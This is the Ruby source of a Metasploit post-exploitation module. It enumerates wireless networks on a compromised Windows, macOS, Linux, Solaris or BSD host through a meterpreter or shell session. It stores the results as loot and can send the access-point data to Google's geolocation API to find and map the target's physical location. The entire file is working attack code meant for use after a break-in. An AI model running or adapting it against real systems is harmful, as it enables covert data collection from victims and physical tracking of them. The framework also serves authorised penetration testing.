##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'rex/google/geolocation'

class MetasploitModule < Msf::Post

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Multiplatform WLAN Enumeration and Geolocation',
        'Description'   => %q{ Enumerate wireless networks visible to the target device.
        Optionally geolocate the target by gathering local wireless networks and
        performing a lookup against Google APIs.},
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Tom Sellers <tom[at]fadedcode.net>'],
        'Platform'      => %w{ osx win linux bsd solaris },
        'SessionTypes'  => [ 'meterpreter', 'shell' ],
      ))

      register_options(
        [
        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false])
        ], self.class)

  end

  def get_strength(quality)
    # Convert the signal quality to signal strength (dbm) to be sent to
    # Google.  Docs indicate this should subtract 100 instead of the 95 I
    # am using here, but in practice 95 seems to be closer.
    signal_str = quality.to_i / 2
    signal_str = (signal_str - 95).round
    return signal_str

  end

  def parse_wireless_win(listing)
    wlan_list = []
    raw_networks = listing.split("\r\n\r\n")

    raw_networks.each do |network|
      details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
      if !details.nil?
        strength = get_strength(details[3])
        wlan_list << [ details[2], details[1], strength ]
      end
    end

    return wlan_list
  end


  def parse_wireless_linux(listing)
    wlan_list = []
    raw_networks = listing.split("Cell ")

    raw_networks.each do |network|
      details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
      if !details.nil?
        wlan_list << [ details[1], details[3], details[2] ]
      end
    end

    return wlan_list
  end

  def parse_wireless_osx(listing)
    wlan_list = []
    raw_networks = listing.split("\n")

    raw_networks.each do |network|
      network = network.strip
      details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
      if !details.nil?
        wlan_list << [ details[2], details[1], details[3] ]
      end
    end

    return wlan_list
  end

  def perform_geolocation(wlan_list)
    if wlan_list.blank?
      print_error("Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.")
      return
    end
    g = Rex::Google::Geolocation.new

    wlan_list.each do |wlan|
      g.add_wlan(*wlan)
    end

    begin
      g.fetch!
    rescue RuntimeError => e
      print_error("Error: #{e}")
    else
      print_status(g.to_s)
      print_status("Google Maps URL:  #{g.google_maps_url}")
    end

  end


  # Run Method for when run command is issued
  def run
    case session.platform
    when 'windows'
      listing = cmd_exec('netsh wlan show networks mode=bssid')
      if listing.nil?
        print_error("Unable to generate wireless listing.")
        return nil
      else
        store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
        # The wireless output does not lend itself to displaying on screen for this platform.
        print_status("Wireless list saved to loot.")
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_win(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'osx'
      listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
      if listing.nil?
        print_error("Unable to generate wireless listing.")
        return nil
      else
        store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
        print_status("Target's wireless networks:\n\n#{listing}\n")
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_osx(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'linux'
      listing = cmd_exec('iwlist scanning')
      if listing.nil?
        print_error("Unable to generate wireless listing.")
        return nil
      else
        store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
        # The wireless output does not lend itself to displaying on screen for this platform.
        print_status("Wireless list saved to loot.")
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_linux(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'solaris'
      listing = cmd_exec('dladm scan-wifi')
      if listing.blank?
        print_error("Unable to generate wireless listing.")
        return nil
      else
        store_loot("host.solaris.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
        print_status("Target's wireless networks:\n\n#{listing}\n")
        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
        return
      end

    when 'bsd'
      interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
      # Printing interface as this platform requires the interface to be specified
      # it might not be detected correctly.
      print_status("Found wireless interface: #{interface}")
      listing = cmd_exec("ifconfig #{interface} scan")
      if listing.blank?
        print_error("Unable to generate wireless listing.")
        return nil
      else
        store_loot("host.bsd.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
        print_status("Target's wireless networks:\n\n#{listing}\n")
        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
        return
      end

    else
      print_error("The target's platform, #{platform}, is not supported at this time.")
      return nil
    end

  rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
  rescue ::Exception => e
    print_status("The following Error was encountered: #{e.class} #{e}")
  end


end
